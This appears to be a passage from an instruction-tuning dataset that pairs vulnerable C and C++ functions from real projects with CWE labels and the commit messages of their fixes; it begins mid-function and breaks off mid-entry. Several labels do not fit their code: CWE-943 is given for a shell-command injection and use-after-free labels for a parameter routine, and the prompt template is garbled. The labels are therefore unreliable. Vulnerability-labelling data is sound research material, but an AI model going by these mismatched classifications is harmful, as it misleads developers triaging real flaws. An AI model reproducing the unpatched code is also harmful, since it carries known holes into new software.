image->columns; x++)\n {\n if (length == 0)\n {\n count=ReadBlob(image,packet_size,pixels);\n PushRunlengthPacket(image,pixels,&length,&pixel,exception);\n }\n length--;\n if (image->storage_class == PseudoClass)\n SetPixelIndex(image,ClampToQuantum(pixel.index),q);\n else\n {\n SetPixelRed(image,ClampToQuantum(pixel.red),q);\n SetPixelGreen(image,ClampToQuantum(pixel.green),q);\n SetPixelBlue(image,ClampToQuantum(pixel.blue),q);\n if (image->colorspace == CMYKColorspace)\n SetPixelBlack(image,ClampToQuantum(pixel.black),q);\n }\n if (image->alpha_trait != UndefinedPixelTrait)\n SetPixelAlpha(image,ClampToQuantum(pixel.alpha),q);\n q+=GetPixelChannels(image);\n }\n break;\n }\n default:\n {\n count=ReadBlob(image,packet_size*image->columns,pixels);\n (void) ImportQuantumPixels(image,(CacheView *) NULL,quantum_info,\n quantum_type,pixels,exception);\n break;\n }\n }\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n }\n SetQuantumImageType(image,quantum_type);\n switch (image->compression)\n {\n#if defined(MAGICKCORE_BZLIB_DELEGATE)\n case BZipCompression:\n {\n int\n code;\n\n if (version == 0.0)\n {\n MagickOffsetType\n offset;\n\n offset=SeekBlob(image,-((MagickOffsetType)\n bzip_info.avail_in),SEEK_CUR);\n if (offset < 0)\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n }\n code=BZ2_bzDecompressEnd(&bzip_info);\n if (code != BZ_OK)\n status=MagickFalse;\n break;\n }\n#endif\n#if defined(MAGICKCORE_LZMA_DELEGATE)\n case LZMACompression:\n {\n int\n code;\n\n code=lzma_code(&lzma_info,LZMA_FINISH);\n if ((code != LZMA_STREAM_END) && (code != LZMA_OK))\n status=MagickFalse;\n lzma_end(&lzma_info);\n break;\n }\n#endif\n#if defined(MAGICKCORE_ZLIB_DELEGATE)\n case LZWCompression:\n case ZipCompression:\n {\n int\n code;\n\n if (version == 0.0)\n {\n MagickOffsetType\n offset;\n\n offset=SeekBlob(image,-((MagickOffsetType) zip_info.avail_in),\n SEEK_CUR);\n if (offset < 0)\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n }\n code=inflateEnd(&zip_info);\n if (code != LZMA_OK)\n status=MagickFalse;\n break;\n }\n#endif\n default:\n break;\n }\n quantum_info=DestroyQuantumInfo(quantum_info);\n compress_pixels=(unsigned char *) RelinquishMagickMemory(compress_pixels);\n if (((y != (ssize_t) image->rows)) || (status == MagickFalse))\n {\n image=DestroyImageList(image);\n return((Image *) NULL);\n }\n if (EOFBlob(image) != MagickFalse)\n {\n ThrowFileException(exception,CorruptImageError,\"UnexpectedEndOfFile\",\n image->filename);\n break;\n }\n /*\n Proceed to next image.\n */\n if (image_info->number_scenes != 0)\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n break;\n do\n {\n c=ReadBlobByte(image);\n } while ((isgraph(c) == MagickFalse) && (c != EOF));\n if (c != EOF)\n {\n /*\n Allocate next image structure.\n */\n AcquireNextImage(image_info,image,exception);\n if (GetNextImageInList(image) == (Image *) NULL)\n {\n image=DestroyImageList(image);\n return((Image *) NULL);\n }\n image=SyncNextImageInList(image);\n status=SetImageProgress(image,LoadImagesTag,TellBlob(image),\n GetBlobSize(image));\n if (status == MagickFalse)\n break;\n }\n } while (c != EOF);\n (void) CloseBlob(image);\n return(GetFirstImageInList(image));\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-770'], 'message': 'https://github.com/ImageMagick/ImageMagick/issues/546'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int parse_response(unsigned char *buf, int buflen,\n\t\t\tchar *question, int qlen,\n\t\t\tuint16_t *type, uint16_t *class, int *ttl,\n\t\t\tunsigned char *response, unsigned int *response_len,\n\t\t\tuint16_t *answers)\n{\n\tstruct domain_hdr *hdr = (void *) buf;\n\tstruct domain_question *q;\n\tunsigned char *ptr;\n\tuint16_t qdcount = ntohs(hdr->qdcount);\n\tuint16_t ancount = ntohs(hdr->ancount);\n\tint err, i;\n\tuint16_t qtype, qclass;\n\tunsigned char *next = NULL;\n\tunsigned int maxlen = *response_len;\n\tGSList *aliases = NULL, *list;\n\tchar name[NS_MAXDNAME + 1];\n\n\tif (buflen < 12)\n\t\treturn -EINVAL;\n\n\tdebug(\"qr %d qdcount %d\", hdr->qr, qdcount);\n\n\t/* We currently only cache responses where question count is 1 */\n\tif (hdr->qr != 1 || qdcount != 1)\n\t\treturn -EINVAL;\n\n\tptr = buf + sizeof(struct domain_hdr);\n\n\tstrncpy(question, (char *) ptr, qlen);\n\tqlen = strlen(question);\n\tptr += qlen + 1; /* skip \\0 */\n\n\tq = (void *) ptr;\n\tqtype = ntohs(q->type);\n\n\t/* We cache only A and AAAA records */\n\tif (qtype != 1 && qtype != 28)\n\t\treturn -ENOMSG;\n\n\tqclass = ntohs(q->class);\n\n\tptr += 2 + 2; /* ptr points now to answers */\n\n\terr = -ENOMSG;\n\t*response_len = 0;\n\t*answers = 0;\n\n\tmemset(name, 0, sizeof(name));\n\n\t/*\n\t * We have a bunch of answers (like A, AAAA, CNAME etc) to\n\t * A or AAAA question. We traverse the answers and parse the\n\t * resource records. Only A and AAAA records are cached, all\n\t * the other records in answers are skipped.\n\t */\n\tfor (i = 0; i < ancount; i++) {\n\t\t/*\n\t\t * Get one address at a time to this buffer.\n\t\t * The max size of the answer is\n\t\t * 2 (pointer) + 2 (type) + 2 (class) +\n\t\t * 4 (ttl) + 2 (rdlen) + addr (16 or 4) = 28\n\t\t * for A or AAAA record.\n\t\t * For CNAME the size can be bigger.\n\t\t */\n\t\tunsigned char rsp[NS_MAXCDNAME];\n\t\tunsigned int rsp_len = sizeof(rsp) - 1;\n\t\tint ret, rdlen;\n\n\t\tmemset(rsp, 0, sizeof(rsp));\n\n\t\tret = parse_rr(buf, ptr, buf + buflen, rsp, &rsp_len,\n\t\t\ttype, class, ttl, &rdlen, &next, name);\n\t\tif (ret != 0) {\n\t\t\terr = ret;\n\t\t\tgoto out;\n\t\t}\n\n\t\t/*\n\t\t * Now rsp contains compressed or uncompressed resource\n\t\t * record. Next we check if this record answers the question.\n\t\t * The name var contains the uncompressed label.\n\t\t * One tricky bit is the CNAME records as they alias\n\t\t * the name we might be interested in.\n\t\t */\n\n\t\t/*\n\t\t * Go to next answer if the class is not the one we are\n\t\t * looking for.\n\t\t */\n\t\tif (*class != qclass) {\n\t\t\tptr = next;\n\t\t\tnext = NULL;\n\t\t\tcontinue;\n\t\t}\n\n\t\t/*\n\t\t * Try to resolve aliases also, type is CNAME(5).\n\t\t * This is important as otherwise the aliased names would not\n\t\t * be cached at all as the cache would not contain the aliased\n\t\t * question.\n\t\t *\n\t\t * If any CNAME is found in DNS packet, then we cache the alias\n\t\t * IP address instead of the question (as the server\n\t\t * said that question has only an alias).\n\t\t * This means in practice that if e.g., ipv6.google.com is\n\t\t * queried, DNS server returns CNAME of that name which is\n\t\t * ipv6.l.google.com. We then cache the address of the CNAME\n\t\t * but return the question name to client. So the alias\n\t\t * status of the name is not saved in cache and thus not\n\t\t * returned to the client. We do not return DNS packets from\n\t\t * cache to client saying that ipv6.google.com is an alias to\n\t\t * ipv6.l.google.com but we return instead a DNS packet that\n\t\t * says ipv6.google.com has address xxx which is in fact the\n\t\t * address of ipv6.l.google.com. For caching purposes this\n\t\t * should not cause any issues.\n\t\t */\n\t\tif (*type == 5 && strncmp(question, name, qlen) == 0) {\n\t\t\t/*\n\t\t\t * So now the alias answered the question. This is\n\t\t\t * not very useful from caching point of view as\n\t\t\t * the following A or AAAA records will not match the\n\t\t\t * question. We need to find the real A/AAAA record\n\t\t\t * of the alias and cache that.\n\t\t\t */\n\t\t\tunsigned char *end = NULL;\n\t\t\tint name_len = 0, output_len = 0;\n\n\t\t\tmemset(rsp, 0, sizeof(rsp));\n\t\t\trsp_len = sizeof(rsp) - 1;\n\n\t\t\t/*\n\t\t\t * Alias is in rdata part of the message,\n\t\t\t * and next-rdlen points to it. So we need to get\n\t\t\t * the real name of the alias.\n\t\t\t */\n\t\t\tret = get_name(0, buf, next - rdlen, buf + buflen,\n\t\t\t\t\trsp, rsp_len, &output_len, &end,\n\t\t\t\t\tname, &name_len);\n\t\t\tif (ret != 0) {\n\t\t\t\t/* just ignore the error at this point */\n\t\t\t\tptr = next;\n\t\t\t\tnext = NULL;\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t/*\n\t\t\t * We should now have the alias of the entry we might\n\t\t\t * want to cache. Just remember it for a while.\n\t\t\t * We check the alias list when we have parsed the\n\t\t\t * A or AAAA record.\n\t\t\t */\n\t\t\taliases = g_slist_prepend(aliases, g_strdup(name));\n\n\t\t\tptr = next;\n\t\t\tnext = NULL;\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (*type == qtype) {\n\t\t\t/*\n\t\t\t * We found correct type (A or AAAA)\n\t\t\t */\n\t\t\tif (check_alias(aliases, name) ||\n\t\t\t\t(!aliases && strncmp(question, name,\n\t\t\t\t\t\t\tqlen) == 0)) {\n\t\t\t\t/*\n\t\t\t\t * We found an alias or the name of the rr\n\t\t\t\t * matches the question. If so, we append\n\t\t\t\t * the compressed label to the cache.\n\t\t\t\t * The end result is a response buffer that\n\t\t\t\t * will contain one or more cached and\n\t\t\t\t * compressed resource records.\n\t\t\t\t */\n\t\t\t\tif (*response_len + rsp_len > maxlen) {\n\t\t\t\t\terr = -ENOBUFS;\n\t\t\t\t\tgoto out;\n\t\t\t\t}\n\t\t\t\tmemcpy(response + *response_len, rsp, rsp_len);\n\t\t\t\t*response_len += rsp_len;\n\t\t\t\t(*answers)++;\n\t\t\t\terr = 0;\n\t\t\t}\n\t\t}\n\n\t\tptr = next;\n\t\tnext = NULL;\n\t}\n\nout:\n\tfor (list = aliases; list; list = list->next)\n\t\tg_free(list->data);\n\tg_slist_free(aliases);\n\n\treturn err;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'dnsproxy: Fix crash on malformed DNS response\n\nIf the response query string is malformed, we might access memory\npass the end of \"name\" variable in parse_response().'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: std::string controller::bookmark(\n\t\tconst std::string& url,\n\t\tconst std::string& title,\n\t\tconst std::string& description,\n\t\tconst std::string& feed_title)\n{\n\tstd::string bookmark_cmd = cfg.get_configvalue(\"bookmark-cmd\");\n\tbool is_interactive = cfg.get_configvalue_as_bool(\"bookmark-interactive\");\n\tif (bookmark_cmd.length() > 0) {\n\t\tstd::string cmdline = strprintf::fmt(\"%s '%s' %s %s %s\",\n\t\t bookmark_cmd,\n\t\t utils::replace_all(url,\"'\", \"%27\"),\n\t\t quote_empty(stfl::quote(title)),\n\t\t quote_empty(stfl::quote(description)),\n\t\t quote_empty(stfl::quote(feed_title)));\n\n\t\tLOG(level::DEBUG, \"controller::bookmark: cmd = %s\", cmdline);\n\n\t\tif (is_interactive) {\n\t\t\tv->push_empty_formaction();\n\t\t\tstfl::reset();\n\t\t\tutils::run_interactively(cmdline, \"controller::bookmark\");\n\t\t\tv->pop_current_formaction();\n\t\t\treturn \"\";\n\t\t} else {\n\t\t\tchar * my_argv[4];\n\t\t\tmy_argv[0] = const_cast(\"/bin/sh\");\n\t\t\tmy_argv[1] = const_cast(\"-c\");\n\t\t\tmy_argv[2] = const_cast(cmdline.c_str());\n\t\t\tmy_argv[3] = nullptr;\n\t\t\treturn utils::run_program(my_argv, \"\");\n\t\t}\n\t} else {\n\t\treturn _(\"bookmarking support is not configured. Please set the configuration variable `bookmark-cmd' accordingly.\");\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-943', 'CWE-787'], 'message': 'Sanitize inputs to bookmark-cmd (#591)\n\nNewsbeuter didn't properly shell-escape the arguments passed to\nbookmarking command, which allows a remote attacker to perform remote\ncode execution by crafting an RSS item whose title and/or URL contain\nsomething interpretable by the shell (most notably subshell\ninvocations.)\n\nThis has been reported by Jeriko One , complete with\nPoC and a patch.\n\nThis vulnerability was assigned CVE-2017-12904.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: ec_p_init (mpi_ec_t ctx, enum gcry_mpi_ec_models model,\n enum ecc_dialects dialect,\n int flags,\n gcry_mpi_t p, gcry_mpi_t a, gcry_mpi_t b)\n{\n int i;\n static int use_barrett;\n\n if (!use_barrett)\n {\n if (getenv (\"GCRYPT_BARRETT\"))\n use_barrett = 1;\n else\n use_barrett = -1;\n }\n\n /* Fixme: Do we want to check some constraints? e.g. a < p */\n\n ctx->model = model;\n ctx->dialect = dialect;\n ctx->flags = flags;\n if (dialect == ECC_DIALECT_ED25519)\n ctx->nbits = 256;\n else\n ctx->nbits = mpi_get_nbits (p);\n ctx->p = mpi_copy (p);\n ctx->a = mpi_copy (a);\n ctx->b = mpi_copy (b);\n\n ctx->t.p_barrett = use_barrett > 0? _gcry_mpi_barrett_init (ctx->p, 0):NULL;\n\n _gcry_mpi_ec_get_reset (ctx);\n\n /* Allocate scratch variables. */\n for (i=0; i< DIM(ctx->t.scratch); i++)\n ctx->t.scratch[i] = mpi_alloc_like (ctx->p);\n\n /* Prepare for fast reduction. */\n /* FIXME: need a test for NIST values. However it does not gain us\n any real advantage, for 384 bits it is actually slower than using\n mpi_mulm. */\n/* ctx->nist_nbits = mpi_get_nbits (ctx->p); */\n/* if (ctx->nist_nbits == 192) */\n/* { */\n/* for (i=0; i < 4; i++) */\n/* ctx->s[i] = mpi_new (192); */\n/* ctx->c = mpi_new (192*2); */\n/* } */\n/* else if (ctx->nist_nbits == 384) */\n/* { */\n/* for (i=0; i < 10; i++) */\n/* ctx->s[i] = mpi_new (384); */\n/* ctx->c = mpi_new (384*2); */\n/* } */\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-200'], 'message': 'ecc: Add input validation for X25519.\n\n* cipher/ecc.c (ecc_decrypt_raw): Add input validation.\n* mpi/ec.c (ec_p_init): Use scratch buffer for bad points.\n(_gcry_mpi_ec_bad_point): New.\n\n--\n\nFollowing is the paper describing the attack:\n\n May the Fourth Be With You: A Microarchitectural Side Channel Attack\n on Real-World Applications of Curve25519\n by Daniel Genkin, Luke Valenta, and Yuval Yarom\n\nIn the current implementation, we do output checking and it results an\nerror for those bad points. However, when attacked, the computation\nwill done with leak of private key, even it will results errors. To\nmitigate leak, we added input validation.\n\nNote that we only list bad points with MSB=0. By X25519, MSB is\nalways cleared.\n\nIn future, we should implement constant-time field computation. Then,\nthis input validation could be removed, if performance is important\nand we are sure for no leak.\n\nCVE-id: CVE-2017-0379\nSigned-off-by: NIIBE Yutaka '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static bool glfs_check_config(const char *cfgstring, char **reason)\n{\n\tchar *path;\n\tglfs_t *fs = NULL;\n\tglfs_fd_t *gfd = NULL;\n\tgluster_server *hosts = NULL; /* gluster server defination */\n\tbool result = true;\n\n\tpath = strchr(cfgstring, '/');\n\tif (!path) {\n\t\tif (asprintf(reason, \"No path found\") == -1)\n\t\t\t*reason = NULL;\n\t\tresult = false;\n\t\tgoto done;\n\t}\n\tpath += 1; /* get past '/' */\n\n\tfs = tcmu_create_glfs_object(path, &hosts);\n\tif (!fs) {\n\t\ttcmu_err(\"tcmu_create_glfs_object failed\\n\");\n\t\tgoto done;\n\t}\n\n\tgfd = glfs_open(fs, hosts->path, ALLOWED_BSOFLAGS);\n\tif (!gfd) {\n\t\tif (asprintf(reason, \"glfs_open failed: %m\") == -1)\n\t\t\t*reason = NULL;\n\t\tresult = false;\n\t\tgoto unref;\n\t}\n\n\tif (glfs_access(fs, hosts->path, R_OK|W_OK) == -1) {\n\t\tif (asprintf(reason, \"glfs_access file not present, or not writable\") == -1)\n\t\t\t*reason = NULL;\n\t\tresult = false;\n\t\tgoto unref;\n\t}\n\n\tgoto done;\n\nunref:\n\tgluster_cache_refresh(fs, path);\n\ndone:\n\tif (gfd)\n\t\tglfs_close(gfd);\n\tgluster_free_server(&hosts);\n\n\treturn result;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-200', 'CWE-119'], 'message': 'glfs: discard glfs_check_config\n\nSigned-off-by: Prasanna Kumar Kalever '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static bool fbo_check_config(const char *cfgstring, char **reason)\n{\n\tchar *options;\n\tchar *path;\n\tint fd;\n\n\ttcmu_dbg(\"check: cfgstring %s\\n\", cfgstring);\n\toptions = strchr(cfgstring, '/');\n\tif (!options) {\n\t\tif (asprintf(reason, \"Invalid cfgstring\") == -1)\n\t\t\t*reason = NULL;\n\t\treturn false;\n\t}\n\toptions += 1; /* get past '/' */\n\twhile (options[0] != '/') {\n\t\tif (strncasecmp(options, \"ro/\", 3)) {\n\t\t\tif (asprintf(reason, \"Unknown option %s\\n\",\n\t\t\t\t options) == -1)\n\t\t\t\t*reason = NULL;\n\t\t\treturn false;\n\t\t}\n\n\t\toptions = strchr(options, '/');\n\t\tif (!options) {\n\t\t\tif (asprintf(reason, \"Invalid cfgstring\") == -1)\n\t\t\t\t*reason = NULL;\n\t\t\treturn false;\n\t\t}\n\t\toptions += 1;\n\t}\n\n\tpath = options;\n\tif (!path) {\n\t\tif (asprintf(reason, \"No path found\") == -1)\n\t\t\t*reason = NULL;\n\t\treturn false;\n\t}\n\n\tif (access(path, R_OK) != -1)\n\t\treturn true; /* File exists */\n\n\t/* We also support creating the file, so see if we can create it */\n\t/* NB: If we're creating it, then we'll need write permission */\n\tfd = creat(path, S_IRUSR | S_IWUSR);\n\tif (fd == -1) {\n\t\tif (asprintf(reason, \"Could not create file\") == -1)\n\t\t\t*reason = NULL;\n\t\treturn false;\n\t}\n\n\tunlink(path);\n\n\treturn true;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-200'], 'message': 'removed all check_config callback implementations to avoid security issues\n\nsee github issue #194\n\nqcow.c contained an information leak, could test for existance of any\nfile in the system\n\nfile_example.c and file_optical.c allow also to test for existance of\nany file, plus to temporarily create empty new files anywhere in the\nfile system. This also involves a race condition, if a file didn't exist\nin the first place, but would be created in-between by some other\nprocess, then the file would be deleted by the check_config\nimplementation.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void opj_j2k_set_cinema_parameters(opj_cparameters_t *parameters,\n opj_image_t *image, opj_event_mgr_t *p_manager)\n{\n /* Configure cinema parameters */\n int i;\n\n /* No tiling */\n parameters->tile_size_on = OPJ_FALSE;\n parameters->cp_tdx = 1;\n parameters->cp_tdy = 1;\n\n /* One tile part for each component */\n parameters->tp_flag = 'C';\n parameters->tp_on = 1;\n\n /* Tile and Image shall be at (0,0) */\n parameters->cp_tx0 = 0;\n parameters->cp_ty0 = 0;\n parameters->image_offset_x0 = 0;\n parameters->image_offset_y0 = 0;\n\n /* Codeblock size= 32*32 */\n parameters->cblockw_init = 32;\n parameters->cblockh_init = 32;\n\n /* Codeblock style: no mode switch enabled */\n parameters->mode = 0;\n\n /* No ROI */\n parameters->roi_compno = -1;\n\n /* No subsampling */\n parameters->subsampling_dx = 1;\n parameters->subsampling_dy = 1;\n\n /* 9-7 transform */\n parameters->irreversible = 1;\n\n /* Number of layers */\n if (parameters->tcp_numlayers > 1) {\n opj_event_msg(p_manager, EVT_WARNING,\n \"JPEG 2000 Profile-3 and 4 (2k/4k dc profile) requires:\\n\"\n \"1 single quality layer\"\n \"-> Number of layers forced to 1 (rather than %d)\\n\"\n \"-> Rate of the last layer (%3.1f) will be used\",\n parameters->tcp_numlayers,\n parameters->tcp_rates[parameters->tcp_numlayers - 1]);\n parameters->tcp_rates[0] = parameters->tcp_rates[parameters->tcp_numlayers - 1];\n parameters->tcp_numlayers = 1;\n }\n\n /* Resolution levels */\n switch (parameters->rsiz) {\n case OPJ_PROFILE_CINEMA_2K:\n if (parameters->numresolution > 6) {\n opj_event_msg(p_manager, EVT_WARNING,\n \"JPEG 2000 Profile-3 (2k dc profile) requires:\\n\"\n \"Number of decomposition levels <= 5\\n\"\n \"-> Number of decomposition levels forced to 5 (rather than %d)\\n\",\n parameters->numresolution + 1);\n parameters->numresolution = 6;\n }\n break;\n case OPJ_PROFILE_CINEMA_4K:\n if (parameters->numresolution < 2) {\n opj_event_msg(p_manager, EVT_WARNING,\n \"JPEG 2000 Profile-4 (4k dc profile) requires:\\n\"\n \"Number of decomposition levels >= 1 && <= 6\\n\"\n \"-> Number of decomposition levels forced to 1 (rather than %d)\\n\",\n parameters->numresolution + 1);\n parameters->numresolution = 1;\n } else if (parameters->numresolution > 7) {\n opj_event_msg(p_manager, EVT_WARNING,\n \"JPEG 2000 Profile-4 (4k dc profile) requires:\\n\"\n \"Number of decomposition levels >= 1 && <= 6\\n\"\n \"-> Number of decomposition levels forced to 6 (rather than %d)\\n\",\n parameters->numresolution + 1);\n parameters->numresolution = 7;\n }\n break;\n default :\n break;\n }\n\n /* Precincts */\n parameters->csty |= 0x01;\n parameters->res_spec = parameters->numresolution - 1;\n for (i = 0; i < parameters->res_spec; i++) {\n parameters->prcw_init[i] = 256;\n parameters->prch_init[i] = 256;\n }\n\n /* The progression order shall be CPRL */\n parameters->prog_order = OPJ_CPRL;\n\n /* Progression order changes for 4K, disallowed for 2K */\n if (parameters->rsiz == OPJ_PROFILE_CINEMA_4K) {\n parameters->numpocs = (OPJ_UINT32)opj_j2k_initialise_4K_poc(parameters->POC,\n parameters->numresolution);\n } else {\n parameters->numpocs = 0;\n }\n\n /* Limited bit-rate */\n parameters->cp_disto_alloc = 1;\n if (parameters->max_cs_size <= 0) {\n /* No rate has been introduced, 24 fps is assumed */\n parameters->max_cs_size = OPJ_CINEMA_24_CS;\n opj_event_msg(p_manager, EVT_WARNING,\n \"JPEG 2000 Profile-3 and 4 (2k/4k dc profile) requires:\\n\"\n \"Maximum 1302083 compressed bytes @ 24fps\\n\"\n \"As no rate has been given, this limit will be used.\\n\");\n } else if (parameters->max_cs_size > OPJ_CINEMA_24_CS) {\n opj_event_msg(p_manager, EVT_WARNING,\n \"JPEG 2000 Profile-3 and 4 (2k/4k dc profile) requires:\\n\"\n \"Maximum 1302083 compressed bytes @ 24fps\\n\"\n \"-> Specified rate exceeds this limit. Rate will be forced to 1302083 bytes.\\n\");\n parameters->max_cs_size = OPJ_CINEMA_24_CS;\n }\n\n if (parameters->max_comp_size <= 0) {\n /* No rate has been introduced, 24 fps is assumed */\n parameters->max_comp_size = OPJ_CINEMA_24_COMP;\n opj_event_msg(p_manager, EVT_WARNING,\n \"JPEG 2000 Profile-3 and 4 (2k/4k dc profile) requires:\\n\"\n \"Maximum 1041666 compressed bytes @ 24fps\\n\"\n \"As no rate has been given, this limit will be used.\\n\");\n } else if (parameters->max_comp_size > OPJ_CINEMA_24_COMP) {\n opj_event_msg(p_manager, EVT_WARNING,\n \"JPEG 2000 Profile-3 and 4 (2k/4k dc profile) requires:\\n\"\n \"Maximum 1041666 compressed bytes @ 24fps\\n\"\n \"-> Specified rate exceeds this limit. Rate will be forced to 1041666 bytes.\\n\");\n parameters->max_comp_size = OPJ_CINEMA_24_COMP;\n }\n\n parameters->tcp_rates[0] = (OPJ_FLOAT32)(image->numcomps * image->comps[0].w *\n image->comps[0].h * image->comps[0].prec) /\n (OPJ_FLOAT32)(((OPJ_UINT32)parameters->max_cs_size) * 8 * image->comps[0].dx *\n image->comps[0].dy);\n\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416', 'CWE-787'], 'message': 'Fix assertion in debug mode / heap-based buffer overflow in opj_write_bytes_LE for Cinema profiles with numresolutions = 1 (#985)'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static OPJ_BOOL opj_j2k_write_sod(opj_j2k_t *p_j2k,\n opj_tcd_t * p_tile_coder,\n OPJ_BYTE * p_data,\n OPJ_UINT32 * p_data_written,\n OPJ_UINT32 p_total_data_size,\n const opj_stream_private_t *p_stream,\n opj_event_mgr_t * p_manager\n )\n{\n opj_codestream_info_t *l_cstr_info = 00;\n OPJ_UINT32 l_remaining_data;\n\n /* preconditions */\n assert(p_j2k != 00);\n assert(p_manager != 00);\n assert(p_stream != 00);\n\n OPJ_UNUSED(p_stream);\n\n opj_write_bytes(p_data, J2K_MS_SOD,\n 2); /* SOD */\n p_data += 2;\n\n /* make room for the EOF marker */\n l_remaining_data = p_total_data_size - 4;\n\n /* update tile coder */\n p_tile_coder->tp_num =\n p_j2k->m_specific_param.m_encoder.m_current_poc_tile_part_number ;\n p_tile_coder->cur_tp_num =\n p_j2k->m_specific_param.m_encoder.m_current_tile_part_number;\n\n /* INDEX >> */\n /* TODO mergeV2: check this part which use cstr_info */\n /*l_cstr_info = p_j2k->cstr_info;\n if (l_cstr_info) {\n if (!p_j2k->m_specific_param.m_encoder.m_current_tile_part_number ) {\n //TODO cstr_info->tile[p_j2k->m_current_tile_number].end_header = p_stream_tell(p_stream) + p_j2k->pos_correction - 1;\n l_cstr_info->tile[p_j2k->m_current_tile_number].tileno = p_j2k->m_current_tile_number;\n }\n else {*/\n /*\n TODO\n if\n (cstr_info->tile[p_j2k->m_current_tile_number].packet[cstr_info->packno - 1].end_pos < p_stream_tell(p_stream))\n {\n cstr_info->tile[p_j2k->m_current_tile_number].packet[cstr_info->packno].start_pos = p_stream_tell(p_stream);\n }*/\n /*}*/\n /* UniPG>> */\n#ifdef USE_JPWL\n /* update markers struct */\n /*OPJ_BOOL res = j2k_add_marker(p_j2k->cstr_info, J2K_MS_SOD, p_j2k->sod_start, 2);\n */\n assert(0 && \"TODO\");\n#endif /* USE_JPWL */\n /* <m_specific_param.m_encoder.m_current_tile_part_number == 0) {\n p_tile_coder->tcd_image->tiles->packno = 0;\n if (l_cstr_info) {\n l_cstr_info->packno = 0;\n }\n }\n\n *p_data_written = 0;\n\n if (! opj_tcd_encode_tile(p_tile_coder, p_j2k->m_current_tile_number, p_data,\n p_data_written, l_remaining_data, l_cstr_info,\n p_manager)) {\n opj_event_msg(p_manager, EVT_ERROR, \"Cannot encode tile\\n\");\n return OPJ_FALSE;\n }\n\n *p_data_written += 2;\n\n return OPJ_TRUE;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416', 'CWE-787'], 'message': 'opj_t2_encode_packet(): fix potential write heap buffer overflow (#992)'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: gss_wrap_aead (minor_status,\n context_handle,\n conf_req_flag,\n qop_req,\n\t input_assoc_buffer,\n\t input_payload_buffer,\n conf_state,\n output_message_buffer)\nOM_uint32 *\t\tminor_status;\ngss_ctx_id_t\t\tcontext_handle;\nint\t\t\tconf_req_flag;\ngss_qop_t\t\tqop_req;\ngss_buffer_t\t\tinput_assoc_buffer;\ngss_buffer_t\t\tinput_payload_buffer;\nint *\t\t\tconf_state;\ngss_buffer_t\t\toutput_message_buffer;\n{\n OM_uint32\t\tstatus;\n gss_mechanism\tmech;\n gss_union_ctx_id_t\tctx;\n\n status = val_wrap_aead_args(minor_status, context_handle,\n\t\t\t\tconf_req_flag, qop_req,\n\t\t\t\tinput_assoc_buffer, input_payload_buffer,\n\t\t\t\tconf_state, output_message_buffer);\n if (status != GSS_S_COMPLETE)\n\treturn (status);\n\n /*\n * select the approprate underlying mechanism routine and\n * call it.\n */\n ctx = (gss_union_ctx_id_t)context_handle;\n mech = gssint_get_mechanism (ctx->mech_type);\n if (!mech)\n\treturn (GSS_S_BAD_MECH);\n\n return gssint_wrap_aead(mech, minor_status, ctx,\n\t\t\t conf_req_flag, qop_req,\n\t\t\t input_assoc_buffer, input_payload_buffer,\n\t\t\t conf_state, output_message_buffer);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-415'], 'message': 'Preserve GSS context on init/accept failure\n\nAfter gss_init_sec_context() or gss_accept_sec_context() has created a\ncontext, don't delete the mechglue context on failures from subsequent\ncalls, even if the mechanism deletes the mech-specific context (which\nis allowed by RFC 2744 but not preferred). Check for union contexts\nwith no mechanism context in each GSS function which accepts a\ngss_ctx_id_t.\n\nCVE-2017-11462:\n\nRFC 2744 permits a GSS-API implementation to delete an existing\nsecurity context on a second or subsequent call to\ngss_init_sec_context() or gss_accept_sec_context() if the call results\nin an error. This API behavior has been found to be 